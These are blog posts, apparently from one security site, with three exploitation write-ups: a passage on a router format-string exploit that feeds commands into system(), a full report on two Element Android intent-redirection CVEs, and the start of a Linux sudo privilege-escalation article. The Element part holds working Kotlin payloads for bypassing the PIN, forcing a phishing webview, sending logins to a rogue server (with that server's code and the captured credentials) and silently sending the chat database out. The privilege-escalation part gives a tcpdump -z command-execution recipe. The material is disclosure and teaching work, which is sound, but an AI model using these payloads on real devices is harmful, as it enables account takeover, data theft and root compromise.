1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23void sys_script(char *script) { int cmp; char *pcVar1; char buf [64]; char *cmd; undefined4 local_10c; snprintf(buf,0x40,"/tmp/%s",script); cmp = strcmp(script,"syscmd.sh"); if (cmp == 0) { if (SystemCmd[0] != '\0') { snprintf((char *)&cmd,256, "%s > /tmp/syscmd.log 2>&1 && echo \'XU6J03M6\' >> /tmp/syscmd.log &\n",SystemCmd); system((char *)&cmd); strlcpy(SystemCmd,&DAT_0007e451,0x80); return; } f_write_string("/tmp/syscmd.log",&DAT_0007e451,0); return; } // ... }

Let’s briefly comment this code to understand the important points:

  • SystemCmd is a global variable which holds a string.
  • sys_script, when invoked with the syscmd.s argument, will pass whatever command is present in SystemCmd to the system function, and then it will zero out the global variable again.

This seems a good target for the exploit, provided we can, as attackers:

  1. Overwrite the SystemCmd content.
  2. Trigger the sys_script("syscmd.sh") function.

Point 1 is granted by the format string vulnerability: since the binary is not position-independent, the address of the SystemCmd global variable is hardcoded in the binary, so we do not need leaks to write to it. In our vulnerable firmware, the offset for the SystemCmd global var is 0x0f3ecc.

Regarding point 2, some endpoints in the web UI are used to legitimately execute commands through the sys_script function. Those endpoints will call the following function named ej_dump whenever a GET request is performed:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15int ej_dump(int eid,FILE *wp,int argc,char **argv) { // ... ret = ejArgs(argc,argv,"%s %s",&file,&script); if (ret < 2) { fputs("Insufficient args\n",wp); return -1; } ret = strcmp(script,"syscmd.sh"); if (ret == 0) { sys_script(script); } // ... }

So once the SystemCmd global variable is overwritten, simply visiting Main_Analysis_Content.asp or Main_Netstat_Content.asp will trigger our exploit.

A Shell for Your Thoughts

We will spare you a format string exploitation 101, just remember that with %n you can write the number of characters written so far at the address pointed by its offset.

It turned out we had a few constraints, some of them typical of format string exploits, while others specific to our scenario.

The first problem is that the payload must be sent inside a JSON object, so we need to avoid “breaking” the JSON body, otherwise the parser will raise an error. Luckily, we can use a combination of raw bytes inserted into the body (accepted by the parser), double-encoding (%25 instead of % to inject the format specifiers) and UTF-encode the nullbyte terminating the address (\u0000).

The second one is that, after being decoded, our payload is stored in a C string so null-bytes will terminate it early. This means we can only have one null-byte and it must be at the end of our format string.

The third one is that there is a limit on the length of the format string. We can overcome this by writing few bytes at a time with the %hn format.

The fourth one (yes, more problems) is that in the format string there is a variable number of characters before our input, so this will mess with the number of characters that %hn will count and subsequently write at our target address. This is because the logmessage_normal function is called with the process name (either httpd or httpsd) and the pid (from 1 to 5 characters) as arguments.

Finally, we had our payload ready, everything was polished out perfectly, time to perform the exploit and gain a shell on our device…

Wait, WAT???

To Be or Not To Be Authenticated

Sending our payload without any cookie results into a redirect to the login page!

At this point we were completely in shock. The CVEs report “an unauthenticated remote attacker” and our exploit against the Qiling emulator was working fine without any authentication. What went wrong?

While emulating with Qiling before purchasing the real device, we downloaded a dump of the NVRAM state from the internet. If the httpd process loaded keys that were not present in the dump, we automatically set them to empty strings and some were manually adjusted in case of explicit crash/Segfault.

It turns out that an important key named x_Setting determines if the router is configured or not. Based on this, access to most of the CGI endpoints is enabled or disabled. The NVRAM state we used in Qiling contained the x_Setting key set to 0, while our real world device (regularly configured) had it set to 1.

But wait, there is more!

We researched on the previously reported format string CVEs affecting the other endpoints, to test them against our setup. We found exploits online setting the Referer and Origin headers to the target host, while others work by sending plain GET requests instead of POST ones with a JSON body. Finally, to reproduce as accurately as possible their setup we even emulated other devices’ firmware (eg. the Asus RT-AX86U one).

None of them worked against an environment that had x_Setting=1 in the NVRAM.

And you know what? If the router is not configured, the WAN interface is not exposed remotely, making it unaccessible for attackers.

Conclusions

This research left a bitter taste in our mouths.

At this point the chances are:

  1. There is an extra authentication bypass vulnerability that is still not fixed 👀 and thus it does not appear in the diffs.
  2. The “unauthenticated remote attacker” mentioned in the CVEs refer to a CSRF-like scenario.
  3. All the previous researchers found the vulnerabilities by emulating the firmware without taking in consideration the NVRAM content.

Anyway, we are publishing our PoC exploit code and the Qiling emulator script in our poc repository on GitHub.

Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Ransomware, vulnerabilityLeave a comment

Element Android CVE-2024-26131, CVE-2024-26132 – Never Take Intents From Strangers

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

TL;DR

During a security audit of Element Android, the official Matrix client for Android, we have identified two vulnerabilities in how specially forged intents generated from other apps are handled by the application. As an impact, a malicious application would be able to significatively break the security of the application, with possible impacts ranging from exfiltrating sensitive files via arbitrary chats to fully taking over victims’ accounts. After private disclosure of the details, the vulnerabilities have been promptly accepted and fixed by the Element Android team.

Intro

Matrix is, altogether, a protocol, a manifesto, and an ecosystem focused on empowering decentralized and secure communications. In the spirit of decentralization, its ecosystem supports a great number of clients, providers, servers, and bridges. In particular, we decided to spend some time poking at the featured mobile client applications – specifically, the Element Android application (https://play.google.com/store/apps/details?id=im.vector.app). This led to the discovery of two vulnerabilities in the application.

The goal of this blogpost is to share more details on how security researchers and developers can spot and prevent this kind of vulnerabilities, how they work, and what harm an attacker might cause in target devices when discovering them.

For these tests, we have used Android Studio mainly with two purposes:

  • Conveniently inspect, edit, and debug the Element application on a target device.
  • Develop the malicious application.

The analysis has been performed on a Pixel 4a device, running Android 13.

The code of the latest vulnerable version of Element which we used to reproduce the findings can be fetched by running the following command:

git clone -b v1.6.10 https://github.com/element-hq/element-android

Without further ado, let us jump to the analysis of the application.

It Starts From The Manifest 🪧

When auditing Android mobile applications, a great place to start the journey is the AndroidManifest.xml file. Among the other things, this file contains a great wealth of details regarding the app components: things like activities, services, broadcast receivers, and content providers are all declared and detailed here. From an attacker’s perspective, this information provides a fantastic overview over what are, essentially, all the ways the target application communicates with the device ecosystem (e.g. other applications), also known as entrypoints.

While there are many security-focused tools that can do the heavy lifting by parsing the manifest and properly output these entrypoints, let’s keep things simple for the sake of this blogpost, by employing simple CLI utilities to find things. Therefore, we can start by running the following in the cloned project root:

grep -r "exported=\"true\"" .

The command above searches and prints all the instances of exported="true" in the application’s source code. The purpose of this search is to uncover definitions of all the exported components in the application, which are components that other applications can launch. As an example, let’s inspect the following activity declaration in Element (file is: vector-app/src/main/AndroidManifest.xml):

1 2 3 4 5 6 7 8 9 10 11 12 13 14<activity-alias android:name=".features.Alias" android:exported="true" android:targetActivity="im.vector.app.features.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts" /> </activity-alias>

Basically, this declaration yields the following information:

  • .features.Alias is an alias for the application’s MainActivity.
  • The activity declared is exported, so other applications can launch it.
  • The activity will accept Intents with the android.intent.action.MAIN action and the android.intent.category.LAUNCHER category.

This is a fairly common pattern in Android applications. In fact, the MainActivity is typically exported, since the default launcher should be able to start the applications through their MainActivity when the user taps on their icon.

We can immediately validate this by running and ADB shell on the target device and try to launch the application from the command line:

am start im.vector.app.debug/im.vector.application.features.Alias

As expected, this launches the application to its main activity.

The role of intents, in the Android ecosystem, is central. An intent is basically a data structure that embodies the full description of an operation, the data passed to that operation, and it is the main entity passed along between applications when launching or interacting with other components in the same application or in other applications installed on the device.

Therefore, when auditing an activity that is exported, it is always critical to assess how intents passed to the activity are parsed and processed. That counts for the MainActivity we are auditing, too. The focus of the audit, therefore, shifts to java/im/vector/app/features/MainActivity.kt, which contains the code of the MainActivity.

In Kotlin, each activity holds an attribute, namely intent, that points to the intent that started the activity. So, by searching for all the instances of intent. in the activity source, we obtain a clear view of the lines where the intent is somehow accessed. Each audit, naturally, comes with a good amount of rabbit holes, so for the sake of simplicity and brevity let’s directly jump to the culprit:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21private fun handleAppStarted() { //... if (intent.hasExtra(EXTRA_NEXT_INTENT)) { // Start the next Activity startSyncing() val nextIntent = intent.getParcelableExtraCompat<Intent>(EXTRA_NEXT_INTENT) startIntentAndFinish(nextIntent) } //... } //... private fun startIntentAndFinish(intent: Intent?) { intent?.let { startActivity(it) } finish() }

Dissecting the piece of code above, the flow of the intent can be described as follows:

  1. The activity checks whether the intent comes with an extra named EXTRA_NEXT_INTENT, which type is itself an intent.
  2. If the extra exists, it will be parsed and used to start a new activity.

What this means, in other words, is that MainActivity here acts as an intent proxy: when launched with a certain “nested” intent attached, MainActivity will launch the activity associated with that intent. While apparently harmless, this intent-based design pattern hides a serious security vulnerability, known as Intent Redirection.

Let’s explain, in a nutshell, what is the security issue introduced by the design pattern found above.

An Intent To Rule Them All 💍

As we have previously mentioned, there is a boolean property in the activities declared in the AndroidManifest.xml, namely the exported property, that informs the system whether a certain activity can be launched by external apps or not. This provides applications with a way to define “protected” activities that are only supposed to be invoked internally.

For instance, let’s assume we are working on a digital banking application, and we are developing an activity, named TransferActivity. The activity flow is simple: it reads from the extras attached to the intent the account number of the receiver and the amount of money to send, then it initiates the transfer. Now, it only makes sense to define this activity with exported="false", since it would be a huge security risk to allow other applications installed on the device to launch a TransferActivity intent and send money to arbitrary account numbers. Since the activity is not exported, it can only be invoked internally, so the developer can establish a precise flow to access the activity that allows only a willing user to initiate the wire transfer. With this introduction, let’s again analyze the Intent Proxy pattern that was discovered in the Element Android application.

When the MainActivity parses the EXTRA_NEXT_INTENT bundled in the launch intent, it will invoke the activity associated with the inner intent. However, since the intent is now originating from within the app, it is not considered an external intent anymore. Therefore, activities which are set as exported="false" can be launched as well. This is why using an uncontrolled Intent Redirection pattern is a security vulnerability: it allows external applications to launch arbitrary activities declared in the target application, whether exported or not. As an impact, any “trust boundary” that was established by non exporting the app is broken.

The diagram below hopefully clarifies this:

Being an end-to-end encrypted messaging client, Element needs to establish multiple security boundaries to prevent malicious applications from breaking its security properties (confidentiality, integrity, and availability). In the next section, we will showcase some of the attack scenarios we have reproduced, to demonstrate the different uses and impacts that an intent redirection vulnerability can offer to malicious actors.

Note: in order to exploit the intent redirection vulnerability, we need to install on the target device a malicious application that we control from which we can call the MainActivity bundled with the wrapped EXTRA_NEXT_INTENT. Doing so requires creating a new project on Android Studio (detailing how to setup Android Studio for mobile application development is beyond the purpose of this blogpost).

PIN Code? No, Thanks!

In the threat model of secure messaging application, it is critical to consider the risk of device theft: it is important to make sure that, in case the device is stolen unlocked or security gestures / PIN are not properly configured, an attacker would not be able to compromise the confidentiality and integrity of the secure chats. For this reason, Element prompts user into creating a PIN code, and afterwards “guards” entrance to the application with a screen that requires the PIN code to be inserted. This is so critical in the threat model that, upon entering a wrong PIN a certain number of times, the app clears the current session from the device, logging out the user from the account.

Naturally, the application also provides a way for users to change their PIN code. This happens in im/vector/app/features/pin/PinActivity.kt:

1 2 3 4 5 6 7 8 9 10 11class PinActivity : VectorBaseActivity<ActivitySimpleBinding>(), UnlockedActivity { //... override fun initUiAndData() { if (isFirstCreation()) { val fragmentArgs: PinArgs = intent?.extras?.getParcelableCompat(Mavericks.KEY_ARG) ?: return addFragment(views.simpleFragmentContainer, PinFragment::class.java, fragmentArgs) } } //... }

So PinActivity reads a PinArgs extra from the launching intent and it uses it to initialize the PinFragment view. In im/vector/app/features/pin/PinFragment.kt we can find where that PinArgs is used:

1 2 3 4 5 6 7 8override fun onViewCreated(view: View, savedInstanceState: Bundle?) { super.onViewCreated(view, savedInstanceState) when (fragmentArgs.pinMode) { PinMode.CREATE -> showCreateFragment() PinMode.AUTH -> showAuthFragment() PinMode.MODIFY -> showCreateFragment() // No need to create another function for now because texts are generic } }

Therefore, depending on the value of PinArgs, the app will display either the view to authenticate i.e. verify that the user knows the correct PIN, or the view to create/modify the PIN (those are handled by the same fragment).

By leveraging the intent redirection vulnerability with this information, a malicious app can fully bypass the security of the PIN code. In fact, by bundling an EXTRA_NEXT_INTENT that points to the PinActivity activity, and setting as the extra PinMode.MODIFY, the application will invoke the view that allows to modify the PIN. The code used in the malicious app to exploit this follows:

1 2 3 4 5 6 7 8val extra = Intent() extra.setClassName("im.vector.app.debug", "im.vector.app.features.pin.PinActivity") extra.putExtra("mavericks:arg", PinArgs(PinMode.MODIFY)) val intent = Intent() intent.setClassName("im.vector.app.debug", "im.vector.application.features.Alias") intent.putExtra("EXTRA_NEXT_INTENT", extra) val uri = intent.data; startActivity(intent)

Note: In order to successfully launch this, it is necessary to declare a package in the malicious app that matches what the receiving intent in Element expects for PinArgs. To do this, it is enough to create an im.vector.app.features package and create a PinArgs enum in it with the same values defined in the Element codebase.

Running and installing this app immediately triggers the following view in the target device:

View to change the PIN code
View to change the PIN code

Hello Me, Meet The Real Me

Among its multiple features, Element supports embedded web browsing via WebView components. This is implemented in im/vector/app/features/webview/VectorWebViewActivity.kt:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23class VectorWebViewActivity : VectorBaseActivity<ActivityVectorWebViewBinding>() { //... val url = intent.extras?.getString(EXTRA_URL) ?: return val title = intent.extras?.getString(EXTRA_TITLE, USE_TITLE_FROM_WEB_PAGE) if (title != USE_TITLE_FROM_WEB_PAGE) { setTitle(title) } val webViewMode = intent.extras?.getSerializableCompat<WebViewMode>(EXTRA_MODE)!! val eventListener = webViewMode.eventListener(this, session) views.simpleWebview.webViewClient = VectorWebViewClient(eventListener) views.simpleWebview.webChromeClient = object : WebChromeClient() { override fun onReceivedTitle(view: WebView, title: String) { if (title == USE_TITLE_FROM_WEB_PAGE) { setTitle(title) } } } views.simpleWebview.loadUrl(url) //... }

Therefore, a malicious application can use this sink to have the app visiting a custom webpage without user consent. Typically externally controlled webviews are considered vulnerable for different reasons, which range from XSS to, in some cases, Remote Code Execution (RCE). In this specific scenario, what we believe would have the highest impact is that it enables some form of UI Spoofing. In fact, by forcing the application into visit a carefully crafted webpage that mirrors the UI of Element, the user might be tricked into interacting with it to:

  • Show them a fake login interface and obtain their credentials in plaintext.
  • Show them fake chats and receive the victim messages in plaintext.
  • You name it.

Developing such a well-crafted mirror is beyond the scope of this proof of concept. Nonetheless, we include below the code that can be used to trigger the forced webview browsing:

1 2 3 4 5 6 7 8 9val extra = Intent() extra.setClassName("im.vector.app.debug","im.vector.app.features.webview.VectorWebViewActivity") extra.putExtra("EXTRA_URL", "https://www.shielder.com") extra.putExtra("EXTRA_TITLE", "PHISHED") extra.putExtra("EXTRA_MODE", WebViewMode.DEFAULT) val intent = Intent() intent.setClassName("im.vector.app.debug", "im.vector.application.features.Alias") intent.putExtra("EXTRA_NEXT_INTENT", extra) startActivity(intent)

Running this leads to:

Our WebView payload, force-browsed into the application.
Our WebView payload, force-browsed into the application.

All Your Credentials Are Belong To Us

While assessing the attack surface of the application to maximize the impact of the intent redirection, there is an activity that quickly caught our attention. It is defined in im/vector/app/features/login/LoginActivity.kt:

1 2 3 4 5 6 7 8 9 10 11 12 13open class LoginActivity : VectorBaseActivity<ActivityLoginBinding>(), UnlockedActivity { //... // Get config extra val loginConfig = intent.getParcelableExtraCompat<LoginConfig?>(EXTRA_CONFIG) if (isFirstCreation()) { loginViewModel.handle(LoginAction.InitWith(loginConfig)) } //... }

In im/vector/app/features/login/LoginConfig.kt:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18@Parcelize data class LoginConfig( val homeServerUrl: String?, private val identityServerUrl: String? ) : Parcelable { companion object { const val CONFIG_HS_PARAMETER = "hs_url" private const val CONFIG_IS_PARAMETER = "is_url" fun parse(from: Uri): LoginConfig { return LoginConfig( homeServerUrl = from.getQueryParameter(CONFIG_HS_PARAMETER), identityServerUrl = from.getQueryParameter(CONFIG_IS_PARAMETER) ) } } }

The purpose of the LoginConfig object extra passed to LoginActivity is to provide a way for the application to initiate a login against a custom server e.g. in case of self-hosted Matrix instances. This, via the intent redirection, can be abused by a malicious application to force a user into leaking their account credentials towards a rogue authentication server.

In order to build this PoC, we have quickly scripted a barebone Matrix rogue API with just enough endpoints to have the application “accept it” as a valid server:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65from fastapi import FastAPI, HTTPException app = FastAPI() @app.get("/") async def root(): return "Hello, world!" @app.get("/_matrix/client/versions") async def get_matrix_client_versions(): response_body = { "versions": [ "r0.0.1", "r0.1.0", "r0.2.0", "r0.3.0", "r0.4.0", "r0.5.0", "r0.6.0", "r0.6.1", "v1.1", "v1.2", "v1.3", "v1.4", "v1.5", "v1.6", "v1.7", "v1.8", "v1.9" ], "unstable_features": { "org.matrix.label_based_filtering": True, "org.matrix.e2e_cross_signing": True, "org.matrix.msc2432": True, "uk.half-shot.msc2666.query_mutual_rooms": True, "io.element.e2ee_forced.public": False, "io.element.e2ee_forced.private": False, "io.element.e2ee_forced.trusted_private": False, "org.matrix.msc3026.busy_presence": False, "org.matrix.msc2285.stable": True, "org.matrix.msc3827.stable": True, "org.matrix.msc3440.stable": True, "org.matrix.msc3771": True, "org.matrix.msc3773": False, "fi.mau.msc2815": False, "fi.mau.msc2659.stable": True, "org.matrix.msc3882": False, "org.matrix.msc3881": False, "org.matrix.msc3874": False, "org.matrix.msc3886": False, "org.matrix.msc3912": False, "org.matrix.msc3981": False, "org.matrix.msc3391": False, "org.matrix.msc4069": False, "org.matrix.msc4028": False } } return response_body @app.get("/_matrix/client/r0/login") async def get_matrix_client_login(): response_body = { "flows": [{ "type": "m.login.token" }, { "type": "m.login.password" }, { "type": "m.login.application_service" }] } return response_body @app.post("/_matrix/client/r0/login") async def post_matrix_client_login(json: dict): print(json)

Then, we developed the following intent redirection payload in the malicious application:

1 2 3 4 5 6 7 8 9 10val extra = Intent() extra.setClassName("im.vector.app.debug", "im.vector.app.features.login.LoginActivity") extra.putExtra("EXTRA_CONFIG", LoginConfig( homeServerUrl = "https://matrix.com \n\nserver-fingerprint: @ROGUE_SERVER_URL", identityServerUrl = "$ROGUE_SERVER_URL/identity" ) ) val intent = Intent() intent.setClassName("im.vector.app.debug", "im.vector.application.features.Alias") intent.putExtra("EXTRA_NEXT_INTENT", extra) startActivity(intent)

By launching this, the application displays the following view:

Login activity populated with our rogue server, hosted on replit.
Login activity populated with our rogue server, hosted on replit.

After clicking on “Sign In” and entering our credentials, we see the leaked username and password in the API console:

1 2 3INFO: 172.31.196.107:59806 - "GET /_matrix/client/r0/login HTTP/1.1" 200 OK {'identifier': {'type': 'm.id.user', 'user': 'zuck'}, 'password': 'dadada', 'type': 'm.login.password', 'initial_device_display_name': 'Element - dbg Android'} INFO: 172.31.196.107:57516 - "POST /_matrix/client/r0/login HTTP/1.1" 200 OK

You might notice we have used a little phishing trick, here: by leveraging the user:password@host syntax of the URL spec, we are able to display the string Connect to https://matrix.com, placing our actual rogue server url into a fake server-fingerprint value. This would avoid raising suspicions in case the user closely inspects the server hostname.

By routing these credentials to the actual Matrix server, the rogue server would also be able to initiate an OTP authentication, which would successfully bypass MFA and would leak to a full account takeover.

This attack scenario requires user interaction: in fact, the victim needs to willingly submit their credentials. However, it is not uncommon for applications to logout our accounts for various reasons; therefore, we assume that a user that is suddenly redirected to the login activity of the application would “trust” the application and just proceed to login again.

CVE-2024-26131

This issue was reported to the Element security team, which promptly acknowledged and fixed it. You can inspect the GitHub advisory and Element’s blogpost.

The fix to this introduces a check on the EXTRA_NEXT_INTENT which can now only point to an allow-list of activities.

Nothing Is Beyond Our Reach

Searching for more exported components we stumbled upon the im.vector.app.features.share.IncomingShareActivity that is used when sharing files and attachments to Matrix chats.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28<!-- exported="true" is required for the share functionality--> <activity android:name=".features.share.IncomingShareActivity" android:exported="true" android:parentActivityName=".features.home.HomeActivity"> <meta-data android:name="android.support.PARENT_ACTIVITY" android:value=".features.home.HomeActivity" /> <intent-filter> <action android:name="android.intent.action.SEND" /> <data android:mimeType="*/*" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.OPENABLE" /> </intent-filter> <intent-filter> <action android:name="android.intent.action.SEND_MULTIPLE" /> <data android:mimeType="*/*" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.OPENABLE" /> </intent-filter> <meta-data android:name="android.service.chooser.chooser_target_service" android:value="androidx.sharetarget.ChooserTargetServiceCompat" /> </activity>

The IncomingShareActivity checks if the user is logged in and then adds the IncomingShareFragment component to the view. This Fragment parses incoming Intents, if any, and performs the following actions using the Intent’s extras:

  1. Checks if the Intent is of type Intent.ACTION_SEND, the Android Intent type used to deliver data to other components, even external.
  2. Reads the Intent.EXTRA_STREAM field as a URI. This URI specify the Content Provider path for the attachment that is being shared.
  3. Reads the Intent.EXTRA_SHORTCUT_ID field. This optional field can contain a Matrix Room ID as recipient for the attachment. If empty, the user will be prompted with a list of chat to choose from, otherwise the file will be sent without any user interaction.
1 2 3 4 5 6 7 8 9 10 11 12 13 14val intent = vectorBaseActivity.intent val isShareManaged = when (intent?.action) { Intent.ACTION_SEND -> { val isShareManaged = handleIncomingShareIntent(intent) // Direct share if (intent.hasExtra(Intent.EXTRA_SHORTCUT_ID)) { val roomId = intent.getStringExtra(Intent.EXTRA_SHORTCUT_ID)!! viewModel.handle(IncomingShareAction.ShareToRoom(roomId)) } isShareManaged } Intent.ACTION_SEND_MULTIPLE -> handleIncomingShareIntent(intent) else -> false }
1 2 3 4 5private fun handleShareToRoom(action: IncomingShareAction.ShareToRoom) = withState { state -> val sharedData = state.sharedData ?: return@withState val roomSummary = session.getRoomSummary(action.roomId) ?: return@withState _viewEvents.post(IncomingShareViewEvents.ShareToRoom(roomSummary, sharedData, showAlert = false)) }

During the sharing process in the Intent handler, the execution reaches the getIncomingFiles function of the Picker class, and in turn the getSelectedFiles of the FilePicker class. These two functions are responsible for parsing the Intent.EXTRA_STREAM URI, resolving the attachment’s Content Provider, and granting read permission on the shared attachment.

Summarizing what we learned so far, an external application can issue an Intent to the IncomingShareActivity specifying a Content Provider resource URI and a Matrix Room ID. Then resource will be fetched and sent to the room.

At a first glance everything seems all-right but this functionality opens up to a vulnerable scenario. 👀

Exporting The Non-Exportable

The Element application defines a private Content Provider named .provider.MultiPickerFileProvider. This Content Provider is not exported, thus normally its content is readable only by Element itself.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15<manifest xmlns:android="http://schemas.android.com/apk/res/android"> <application> <provider android:name=".provider.MultiPickerFileProvider" android:authorities="${applicationId}.multipicker.fileprovider" android:exported="false" android:grantUriPermissions="true"> <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/multipicker_provider_paths" /> </provider> </application> </manifest>

Moreover, the MultiPickerFileProvider is a File Provider that allow access to files in a specific folders defined in the <paths> tag. In this case the defined path is of type files-path, that represents the files/ subdirectory of Element’s internal storage sandbox.

1 2 3 4 5 6<?xml version="1.0" encoding="utf-8"?> <paths> <files-path name="external_files" path="." /> </paths>

To put it simply, by specifying the following content URI content://im.vector.app.multipicker.fileprovider/external_files/ the File Provider would map it to the following folder on the filesystem /data/data/im.vector.app/files/.

Thanks to the IncomingShareActivity implementation we can leverage it to read files in Element’s sandbox and leak them over Matrix itself!

We developed the following intent payload in a new malicious application:

1 2 3 4 5 6 7val share = Intent() share.setClassName("im.vector.app", "im.vector.app.features.share.IncomingShareActivity") share.action = "android.intent.action.SEND" share.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://im.vector.app.multipicker.fileprovider/external_files/matrix-sdk-auth.realm")) share.putExtra(Intent.EXTRA_SHORTCUT_ID, "$ROOM_ID") share.type = "application/octet-stream" startActivity(share)

By launching this, the application will send the encrypted Element chat database to the specified $ROOM_ID, without any user interaction.

CVE-2024-26132

This issue was reported to the Element security team, which promptly acknowledged and fixed it. You can inspect the GitHub advisory and Element’s blogpost.

The fix to this restrict the folder exposed by the MultiPickerFileProvider to a subdirectory of the Element sandbox, specifically /data/data/im.vector.app/files/media/ where temporary media files created through Element are stored.

It is still possible for external applications on the same device to force Element into sending files from that directory to arbitrary rooms without the user consent.

Conclusions

Android offers great flexibility on how applications can interact with each other. As it is often the case in the digital world, with great power comes great responsibilities vulnerabilities 🐛🪲🐞.

The scope of this blogpost is to shed some light in how to perform security assessments of intent-based workflows in Android applications. The fact that even a widely used application with a strong security posture like Element was found vulnerable, shows how protecting against these issues is not trivial!

A honorable mention goes to the security and development teams of Element, for the speed they demonstrated in triaging, verifying, and fixing these issues. Speaking of which, if you’re using Element Android for your secure communications, make sure to update your application to a version >= 1.6.12.

Posted in Cyber Attacks, Exploits, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Reverse Engineering, Spyware, vulnerabilityLeave a comment

A Journey From sudo iptables To Local Privilege Escalation

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

TL;DR

A low-privileged user on a Linux machine can obtain the root privileges if:

  • They can execute iptables and iptables-save with sudo as they can inject a fake /etc/passwd entry in the comment of an iptables rule and then abusing iptables-save to overwrite the legitimate /etc/passwd file.
  • They can execute iptables with sudo and the underlying system misses one of the kernel modules loaded by iptables. In this case they can use the --modprobe argument to run an arbitrary command.

Intro

If you’ve ever played with boot2root CTFs (like Hack The Box), worked as a penetration tester, or just broke the law by infiltrating random machines (NO, DON’T DO THAT), chances are good that you found yourself with a low-privileged shell – www-data, I’m looking at you – on a Linux machine.

Now, while shells are great and we all need to be grateful when they shine upon us, a low-privileged user typically has a limited power over the system. The path ahead becomes clear: we need to escalate our privileges to root.

When walking the path of the Privilege Escalation, a hacker has a number of tricks at their disposal; one of them is using sudo.

superuser do…substitute user do…just call me sudo

As the reader might already know well, the sudo command can be used to run a command with the permissions of another user – which is commonly root.

Ok, but what’s the point? If you can sudo <command> already, privilege escalation is complete!

Well, yes, but actually, no. In fact, there are two scenarios (at least, two that come to mind right now) where we can’t simply leverage sudo to run arbitrary commands:

  1. Running sudo requires the password of the user, and even though we have a shell, we don’t know the password. This is quite common, as the initial access to the box happens via an exploit rather than regular authentication.
  2. We may know the password for sudo, but the commands that the user can run with sudo are restricted.

In the first case, there’s only one way to leverage sudo for privilege escalation, and that is NOPASSWD commands. These are commands that can be launched with sudo by the user without a password prompt. Quoting from man sudoers:

NOPASSWD and PASSWD

By default, sudo requires that a user authenticate him or herself before running a command. This behavior can be modified via the NOPASSWD tag. Like a Runas_Spec, the NOPASSWD tag sets a default for the commands that follow it in the Cmnd_Spec_List. Conversely, the PASSWD tag can be used to reverse things. For example:

ray rushmore = NOPASSWD: /bin/kill, /bin/ls, /usr/bin/lprm would allow the user ray to run /bin/kill, /bin/ls, and /usr/bin/lprm as root on the machine rushmore without authenticating himself.

The second case is a bit different: in that scenario, even though we know the password, there will be only a limited subset of commands (and possibly arguments) that can be launched with sudo. Again, the way this works you can learn by looking at man sudoers, asking ChatGPT or wrecking your system by experimenting.

In both cases, there is a quick way to check what are the “rules” enabled for your user, and that is running sudo -l on your shell, which will help answering the important question: CAN I HAZ SUDO?

$ sudo run-privesc

Now, back to the topic of privilege escalation. The bad news is that, when sudo is restricted, we cannot run arbitrary commands, thus the need for some more ingredients to obtain a complete privilege escalation. How? This is the good news: we can leverage side-effects of allowed commands. In fact, Linux utilities, more often than not, support a plethora of flags and options to customize their flow. By using and chaining these options in creative ways, even a simple text editor can be used as a trampoline to obtain arbitrary execution!

For a simple use case, let’s consider the well-known tcpdump command, used to listen, filter and display network packets traveling through the system. Administrators will oftentimes grant low-privileged users the capability to dump traffic on the machine for debugging purposes, so it’s perfectly common to find an entry like this when running sudo -l:

1(ALL) NOPASSWD: /usr/bin/tcpdump

Little do they know about the power of UNIX utilities! In fact, tcpdump automagically supports log rotation, alongside a convenient -z flag to supply a postrotate-command that is executed after every rotation. Therefore, it is possible to leverage sudo coupled with tcpdump to execute arbitrary commands as root by running the following sequence of commands:

1 2 3 4 5COMMAND='id' # just replace 'id' with your evil command TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF

The good folks at GTFOBins maintain a curated list of these magic tricks (including the one just shown about tcpdump), so please bookmark it and make sure to look it up on your Linux privilege escalation quests!

Starting Line 🚦

Recently, during a penetration test, we were looking for a way to escalate our privileges on a Linux-based device. What we had was a shell for a (very) low-privileged user, and the capability to run a certain set of commands as sudo. Among these, two trusted companions for every network engineer: iptables and iptables-save.

Sure there must be an entry for one of these two guys in GTFOBins, or so we thought … which lead in going once more for the extra mile™.

Pepperidge Farm Remembers

Back in the 2017 we organized an in-person CTF in Turin partnering with the PoliTO University, JEToP, and KPMG.

The CTF was based on a set of boot2root boxes where the typical entry point was a web-based vulnerability, followed by a local privilege escalation. One of the privilege escalations scenarios we created was exactly related to iptables.

The technique needed to root the box has been documented in a CTF writeup and used to root a PAX payment device.

Modeprobing Our Way To Root

iptables has a --modprobe, which purpose we can see from its man page:

--modprobe=command
When adding or inserting rules into a chain, use command to load any necessary modules (targets, match extensions, etc).

Sounds like an interesting way for to run an arbitrary command, doesn’t it?

By inspecting the iptables source code we can see that if the --modprobe flag has been specifies, then the int xtables_load_ko(const char *modprobe, bool quiet) function is called with as first parameter the modprobe command specified by the user.

As a first step the xtables_load_ko function checks if the required modules have been already loaded, while if they have been not it calls the int xtables_insmod(const char *modname, const char *modprobe, bool quiet) function with as second parameter the modprobe command specified by the user.

Finally, the xtables_insmod function runs the command we specified in the --modprobe argument using the execv syscall:

